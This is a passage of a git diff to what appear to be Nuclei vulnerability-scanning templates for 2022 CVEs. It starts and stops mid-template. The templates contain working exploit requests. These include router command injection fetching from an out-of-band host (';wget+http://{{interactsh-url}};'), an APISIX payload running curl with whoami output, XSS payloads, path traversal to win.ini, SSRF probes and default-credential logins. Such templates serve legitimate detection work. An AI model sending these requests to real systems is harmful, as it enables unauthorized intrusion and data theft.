/SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1 + Host: {{interactsh-url}} + Content-type: application/x-www-form-urlencoded + + protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in + + redirects: true + max-redirects: 3 + cookie-reuse: true + extractors: + - type: regex + part: body + name: protected_state + group: 1 + regex: + - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>' + internal: true + + - type: regex + part: body + name: horizonRelayState + group: 1 + regex: + - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>' + internal: true + + - type: regex + part: body + name: userstore + group: 1 + regex: + - 'id="userstore" value="([a-z.]+)" \/>' + internal: true + + - type: regex + part: body + name: userstoreDisplay + group: 1 + regex: + - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>' + internal: true + + - type: regex + part: body + name: stickyConnectorId + group: 1 + regex: + - 'name="stickyConnectorId" value="(.*)"/>' + internal: true + + - type: kval + part: header + name: HZN-Cookie + kval: + - 'HZN' + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "HZN=" + + - type: status + status: + - 302 + + - type: word + part: interactsh_protocol + words: + - "http" + +# Enhanced by mp on 2022/06/01 diff --git a/cves/2022/CVE-2022-23131.yaml b/cves/2022/CVE-2022-23131.yaml index 54817847e0..0e182ea627 100644 --- a/cves/2022/CVE-2022-23131.yaml +++ b/cves/2022/CVE-2022-23131.yaml @@ -10,15 +10,16 @@ info: - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage - https://nvd.nist.gov/vuln/detail/CVE-2022-23131 - https://github.com/1mxml/CVE-2022-23131 + remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher. classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-23131 - remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher. + cwe-id: CWE-290 metadata: - shodan-query: http.favicon.hash:892542951 fofa-query: app="ZABBIX-็›‘ๆŽง็ณป็ปŸ" && body="saml" - tags: cve,cve2022,zabbix,auth-bypass,saml,sso + shodan-query: http.favicon.hash:892542951 + tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev requests: - method: GET diff --git a/cves/2022/CVE-2022-23134.yaml b/cves/2022/CVE-2022-23134.yaml index 7ce7d9a3e7..d3252104e3 100644 --- a/cves/2022/CVE-2022-23134.yaml +++ b/cves/2022/CVE-2022-23134.yaml @@ -4,16 +4,17 @@ info: name: Zabbix Setup Configuration Authentication Bypass author: bananabr severity: medium - description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially - change the configuration of Zabbix Frontend. + description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend. reference: - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage - https://nvd.nist.gov/vuln/detail/CVE-2022-23134 + - https://support.zabbix.com/browse/ZBX-20384 + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2022-23134 - tags: cve,cve2022,zabbix,auth-bypass + tags: cve,cve2022,zabbix,auth-bypass,kev requests: - method: GET diff --git a/cves/2022/CVE-2022-23178.yaml b/cves/2022/CVE-2022-23178.yaml index 7a96697197..0595e29a98 100644 --- a/cves/2022/CVE-2022-23178.yaml +++ b/cves/2022/CVE-2022-23178.yaml @@ -4,12 +4,12 @@ info: name: Crestron Device - Credentials Disclosure author: gy741 severity: critical - description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are - valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields. + description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields. reference: - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device - https://nvd.nist.gov/vuln/detail/CVE-2022-23178 - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E + - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 diff --git a/cves/2022/CVE-2022-23347.yaml b/cves/2022/CVE-2022-23347.yaml index 7059ae4b38..33fd19a910 100644 --- a/cves/2022/CVE-2022-23347.yaml +++ b/cves/2022/CVE-2022-23347.yaml @@ -1,20 +1,22 @@ id: CVE-2022-23347 info: - name: BigAnt Software BigAnt Server v5.6.06 - Directory Traversal + name: BigAnt Server v5.6.06 - Local File Inclusion author: 0x_Akoko severity: high - description: BigAnt Software BigAnt Server v5.6.06 was discovered to be vulnerable to directory traversal attacks. + description: BigAnt Server v5.6.06 is vulnerable to local file inclusion. reference: - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347 - - https://www.cvedetails.com/cve/CVE-2022-23347 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23347 + - http://bigant.com classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-23347 cwe-id: CWE-22 metadata: shodan-query: http.html:"BigAnt" + verified: "true" tags: cve,cve2022,bigant,lfi requests: @@ -35,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/29 diff --git a/cves/2022/CVE-2022-23348.yaml b/cves/2022/CVE-2022-23348.yaml new file mode 100644 index 0000000000..64d7a50af4 --- /dev/null +++ b/cves/2022/CVE-2022-23348.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-23348 + +info: + name: BigAnt Server v5.6.06 - Improper Access control + author: arafatansari + severity: medium + description: | + BigAnt Server v5.6.06 suffers from Use of Password Hash With Insufficient Computational Effort. + reference: + - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23348 + - http://bigant.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-23348 + cwe-id: CWE-916 + metadata: + shodan-query: http.html:"bigant" + verified: "true" + tags: cve,cve2022,bigant,unauth,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/Runtime/Data/ms_admin.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"user_name";' + - '"user_pwd";' + - '"user_id";' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-2376.yaml b/cves/2022/CVE-2022-2376.yaml new file mode 100644 index 0000000000..a06ad6605c --- /dev/null +++ b/cves/2022/CVE-2022-2376.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-2376 + +info: + name: Directorist < 7.3.1 - Unauthenticated Email Address Disclosure + author: Random-Robbie + severity: medium + description: The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and any authenticated users + reference: + - https://wpscan.com/vulnerability/437c4330-376a-4392-86c6-c4c7ed9583ad + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2376 + - https://nvd.nist.gov/vuln/detail/CVE-2022-2376 + remediation: Fixed in version 7.3.1 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-2376 + cwe-id: CWE-862 + tags: cve,cve2022,wp-plugin,wpscan,wordpress,wp,directorist,unauth,disclosure + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=directorist_author_pagination' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'directorist-authors__card__details__top' + - 'directorist-authors__card__info-list' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-23808.yaml b/cves/2022/CVE-2022-23808.yaml index a75c89c2f3..b174bac40d 100644 --- a/cves/2022/CVE-2022-23808.yaml +++ b/cves/2022/CVE-2022-23808.yaml @@ -2,41 +2,48 @@ id: CVE-2022-23808 info: name: phpMyAdmin < 5.1.2 - Cross-Site Scripting - author: cckuailong + author: cckuailong,daffainfo severity: medium description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection. reference: - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A - https://github.com/dipakpanchal456/CVE-2022-23808 - https://nvd.nist.gov/vuln/detail/CVE-2022-23808 + - https://www.phpmyadmin.net/security/PMASA-2022-2/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-23808 cwe-id: CWE-79 + metadata: + verified: true + shodan-query: http.component:"phpmyadmin" tags: cve,cve2022,phpmyadmin,xss requests: - method: GET path: - - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=\">'>" - - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=\">'>" + - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" stop-at-first-match: true matchers-condition: and matchers: - - type: status - status: - - 200 + + - type: word + part: body + words: + - "\">" + - "

Add a new server

" + - "phpMyAdmin setup" + condition: and - type: word part: header words: - "text/html" - - type: word - part: body - words: - - "\">'><script>alert(document.domain)</script>" - + - type: status + status: + - 200 # Enhanced by mp on 2022/03/08 diff --git a/cves/2022/CVE-2022-2383.yaml b/cves/2022/CVE-2022-2383.yaml new file mode 100644 index 0000000000..997326cf9a --- /dev/null +++ b/cves/2022/CVE-2022-2383.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-2383 + +info: + name: Feed Them Social < 3.0.1 - Cross-Site Scripting + author: akincibor + severity: medium + description: | + The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. + reference: + - https://wpscan.com/vulnerability/4a3b3023-e740-411c-a77c-6477b80d7531 + - https://wordpress.org/plugins/feed-them-social/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2383 + - https://nvd.nist.gov/vuln/detail/CVE-2022-2383 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-2383 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: wp,wordpress,wp-plugin,wpscan,cve,cve2022,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<img src onerror=alert(document.domain)><br/>' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-23854.yaml b/cves/2022/CVE-2022-23854.yaml new file mode 100644 index 0000000000..15635ed27f --- /dev/null +++ b/cves/2022/CVE-2022-23854.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-23854 + +info: + name: AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal + author: For3stCo1d + severity: high + description: | + AVEVA Group plc is a marine and plant engineering IT company headquartered in Cambridge, England. AVEVA software is used in many sectors, including on- and off-shore oil and gas processing, chemicals, pharmaceuticals, nuclear and conventional power generation, nuclear fuel reprocessing, recycling and shipbuilding (https://www.aveva.com). + reference: + - https://packetstormsecurity.com/files/cve/CVE-2022-23854 + - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854 + classification: + cve-id: CVE-2022-23854 + metadata: + verified: true + shodan-query: http.html:"InTouch Access Anywhere" + tags: lfi,packetstorm,cve,cve2022,aveva,intouch + +requests: + - method: GET + path: + - "{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini" + + matchers-condition: and + matchers: + - type: word + words: + - 'for 16-bit app support' + - 'extensions' + condition: and + + - type: word + part: header + words: + - EricomSecureGateway + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-23944.yaml b/cves/2022/CVE-2022-23944.yaml index 7dd8a3e7c8..de7aa65f39 100644 --- a/cves/2022/CVE-2022-23944.yaml +++ b/cves/2022/CVE-2022-23944.yaml @@ -3,16 +3,19 @@ id: CVE-2022-23944 info: name: Apache ShenYu Admin Unauth Access author: cckuakilong - severity: medium + severity: critical description: Apache ShenYu suffers from an unauthorized access vulnerability where a user can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1. reference: - https://github.com/apache/incubator-shenyu/pull/2462 - https://nvd.nist.gov/vuln/detail/CVE-2022-23944 - https://github.com/cckuailong/reapoc/blob/main/2022/CVE-2022-23944/vultarget/README.md - classification: - cve-id: CVE-2022-23944 - cwe-id: CWE-862 + - https://lists.apache.org/thread/dbrjnnlrf80dr0f92k5r2ysfvf1kr67y remediation: Upgrade to Apache ShenYu (incubating) 2.4.2 or apply the appropriate patch. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2022-23944 + cwe-id: CWE-306 tags: cve,cve2022,shenyu,unauth,apache requests: diff --git a/cves/2022/CVE-2022-24112.yaml b/cves/2022/CVE-2022-24112.yaml index 1284bb17a3..5f79eaed68 100644 --- a/cves/2022/CVE-2022-24112.yaml +++ b/cves/2022/CVE-2022-24112.yaml @@ -10,17 +10,17 @@ info: - https://twitter.com/sirifu4k1/status/1496043663704858625 - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests - https://nvd.nist.gov/vuln/detail/CVE-2022-24112 + remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`). classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-24112 cwe-id: CWE-290 - remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`). metadata: - shodan-query: title:"Apache APISIX Dashboard" fofa-query: title="Apache APISIX Dashboard" product: https://apisix.apache.org - tags: cve,cve2022,apache,rce,apisix,oast + shodan-query: title:"Apache APISIX Dashboard" + tags: cve,cve2022,apache,rce,apisix,oast,kev requests: - raw: @@ -41,7 +41,7 @@ requests: { "method":"PUT", "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", - "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl https://{{interactsh-url}}/`whoami`'); return true end\"}" + "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}" } ] } diff --git a/cves/2022/CVE-2022-24124.yaml b/cves/2022/CVE-2022-24124.yaml index c33c0d7f03..046dee8d11 100644 --- a/cves/2022/CVE-2022-24124.yaml +++ b/cves/2022/CVE-2022-24124.yaml @@ -18,7 +18,7 @@ info: metadata: product: https://casdoor.org/ shodan-query: http.title:"Casdoor" - tags: cve,cve2022,casdoor,sqli,unauth + tags: sqli,unauth,packetstorm,edb,cve,cve2022,casdoor requests: - method: GET diff --git a/cves/2022/CVE-2022-24129.yaml b/cves/2022/CVE-2022-24129.yaml new file mode 100644 index 0000000000..9d3dc396c3 --- /dev/null +++ b/cves/2022/CVE-2022-24129.yaml @@ -0,0 +1,37 @@ +id: CVE-2022-24129 + +info: + name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery + author: 0x_Akoko + severity: high + description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services. + reference: + - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF + - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP + - http://shibboleth.net/community/advisories/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-24129 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N + cvss-score: 8.2 + cve-id: CVE-2022-24129 + cwe-id: CWE-918 + tags: cve,cve2022,ssrf,oidc,shibboleth + +requests: + - method: GET + path: + - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: word + part: interactsh_request + words: + - "ShibbolethIdp" + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-24181.yaml b/cves/2022/CVE-2022-24181.yaml new file mode 100644 index 0000000000..74e3fe66ac --- /dev/null +++ b/cves/2022/CVE-2022-24181.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-24181 + +info: + name: PKP Open Journals System 3.3 - Cross-Site Scripting + author: lucasljm2001,ekrause + severity: medium + description: | + Detects an XSS vulnerability in Open Journals System. + reference: + - https://www.exploit-db.com/exploits/50881 + - https://github.com/pkp/pkp-lib/issues/7649 + - https://youtu.be/v8-9evO2oVg + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-24181 + - https://nvd.nist.gov/vuln/detail/cve-2022-24181 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-24181 + metadata: + verified: true + tags: cve,cve2022,xss,oss,pkp-lib,edb + +requests: + - raw: + - | + GET /iupjournals/index.php/esj HTTP/2 + Host: {{Hostname}} + X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<script>alert(document.domain)</script><x=".com/iupjournals' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-24260.yaml b/cves/2022/CVE-2022-24260.yaml index 4dff47e763..e0535c78c8 100644 --- a/cves/2022/CVE-2022-24260.yaml +++ b/cves/2022/CVE-2022-24260.yaml @@ -10,7 +10,7 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2022-24260 - https://www.voipmonitor.org/changelog-gui?major=5 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-24260 cwe-id: CWE-89 diff --git a/cves/2022/CVE-2022-24288.yaml b/cves/2022/CVE-2022-24288.yaml index c42fd51b97..bef446a175 100644 --- a/cves/2022/CVE-2022-24288.yaml +++ b/cves/2022/CVE-2022-24288.yaml @@ -3,12 +3,12 @@ id: CVE-2022-24288 info: name: Apache Airflow OS Command Injection author: xeldax - severity: critical - description: Apache Airflow prior to version 2.2.4 is vulnerable to OS command injection attacks because some example DAGs do not properly sanitize user-provided parameters, making them susceptible to OS Command - Injection from the web UI. + severity: high + description: Apache Airflow prior to version 2.2.4 is vulnerable to OS command injection attacks because some example DAGs do not properly sanitize user-provided parameters, making them susceptible to OS Command Injection from the web UI. reference: - https://github.com/advisories/GHSA-3v7g-4pg3-7r6j - https://nvd.nist.gov/vuln/detail/CVE-2022-24288 + - https://lists.apache.org/thread/dbw5ozcmr0h0lhs0yjph7xdc64oht23t classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 diff --git a/cves/2022/CVE-2022-24681.yaml b/cves/2022/CVE-2022-24681.yaml new file mode 100644 index 0000000000..23ac75d013 --- /dev/null +++ b/cves/2022/CVE-2022-24681.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-24681 + +info: + name: ManageEngine ADSelfService - Stored Cross-Site Scripting + author: Open-Sec + severity: medium + description: | + Zoho ManageEngine ADSelfService Plus before 6121 allows XSS via the welcome name attribute to the Reset Password, Unlock Account, or User Must Change Password screen. + reference: + - https://raxis.com/blog/cve-2022-24681 + - https://nvd.nist.gov/vuln/detail/CVE-2022-24681 + - https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-24681.html + - https://manageengine.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-24681 + cwe-id: CWE-79 + tags: cve,cve2022,manageengine,xss,authenticated + +requests: + - raw: + - | + POST /servlet/GetProductVersion HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + part: body + name: buildnumber + group: 1 + regex: + - '"BUILD_NUMBER":"([0-9]+)",' + internal: true + + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(buildnumber, '< 6121') + + - type: word + part: body + words: + - "ManageEngine" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-24856.yaml b/cves/2022/CVE-2022-24856.yaml new file mode 100644 index 0000000000..0dd01066ff --- /dev/null +++ b/cves/2022/CVE-2022-24856.yaml @@ -0,0 +1,33 @@ +id: CVE-2022-24856 + +info: + name: Flyte Console <0.52.0 - Server-Side Request Forgery + author: pdteam + severity: high + description: | + FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur. + reference: + - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9 + - https://github.com/flyteorg/flyteconsole/pull/389 + - https://hackerone.com/reports/1540906 + - https://nvd.nist.gov/vuln/detail/CVE-2022-24856 + remediation: | + The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-24856 + cwe-id: CWE-918 + tags: cve,cve2022,flyteconsole,ssrf,oss,hackerone + +requests: + - method: GET + path: + - "{{BaseURL}}/cors_proxy/https://www.interact.sh" + + matchers: + - type: word + words: + - "Interactsh Server" + +# Enhanced by mp on 2022/06/29 diff --git a/cves/2022/CVE-2022-2486.yaml b/cves/2022/CVE-2022-2486.yaml new file mode 100644 index 0000000000..1c7ddb2de8 --- /dev/null +++ b/cves/2022/CVE-2022-2486.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-2486 + +info: + name: Wavlink Mesh.cgi - Remote Code Execution + author: For3stCo1d + severity: critical + description: | + A vulnerability, which was classified as critical, was found in WAVLINK WN535K2 and WN535K3. This affects an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade. The manipulation of the argument key leads to os command injection. The exploit has been disclosed to the public and may be used. + reference: + - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20mesh.cgi.md + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2486 + - https://vuldb.com/?id.204537 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-2486 + cwe-id: CWE-78 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve,cve2022,iot,wavlink,router,rce,oast + +requests: + - raw: + - | + GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 500 diff --git a/cves/2022/CVE-2022-2487.yaml b/cves/2022/CVE-2022-2487.yaml new file mode 100644 index 0000000000..5b4050ce03 --- /dev/null +++ b/cves/2022/CVE-2022-2487.yaml @@ -0,0 +1,52 @@ +id: CVE-2022-2487 + +info: + name: Wavlink Nightled.cgi - Remote Code Execution + author: For3stCo1d + severity: critical + description: | + A vulnerability has been found in WAVLINK WN535K2 and WN535K3 and classified as critical. This vulnerability affects unknown code of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour leads to os command injection. The exploit has been disclosed to the public and may be used. + reference: + - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487 + - https://vuldb.com/?id.204538 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-2487 + cwe-id: CWE-78 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve,cve2022,iot,wavlink,router,rce,oast + +variables: + cmd: "id" + +requests: + - raw: + - | + @timeout: 10s + POST /cgi-bin/nightled.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + page=night_led&start_hour=;{{cmd}}; + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "uid=" + - "gid=" + - "nightStart" + condition: and + + - type: word + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-2488.yaml b/cves/2022/CVE-2022-2488.yaml new file mode 100644 index 0000000000..0f9e32c5d7 --- /dev/null +++ b/cves/2022/CVE-2022-2488.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-2488 + +info: + name: Wavlink Touchlist_sync.cgi - Remote Code Execution + author: For3stCo1d + severity: critical + description: | + A vulnerability was found in WAVLINK WN535K2 and WN535K3 and classified as critical. This issue affects some unknown processing of the file /cgi-bin/touchlist_sync.cgi. The manipulation of the argument IP leads to os command injection. The exploit has been disclosed to the public and may be used. + reference: + - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488 + - https://vuldb.com/?id.204539 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-2488 + cwe-id: CWE-78 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve,cve2022,iot,wavlink,router,rce,oast + +requests: + - raw: + - | + GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 500 diff --git a/cves/2022/CVE-2022-24899.yaml b/cves/2022/CVE-2022-24899.yaml new file mode 100644 index 0000000000..d3065ed150 --- /dev/null +++ b/cves/2022/CVE-2022-24899.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-24899 + +info: + name: Contao 4.13.2 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + Contao is a powerful open source CMS that allows you to create professional websites and scalable web applications. In versions of Contao prior to 4.13.3 it is possible to inject code into the canonical tag. As a workaround users may disable canonical tags in the root page settings. + reference: + - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/ + - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2 + - https://nvd.nist.gov/vuln/detail/CVE-2022-24899 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-24899 + cwe-id: CWE-79 + metadata: + shodan-query: title:"Contao" + tags: cve,cve2022,contao,xss,huntr + +requests: + - method: GET + path: + - 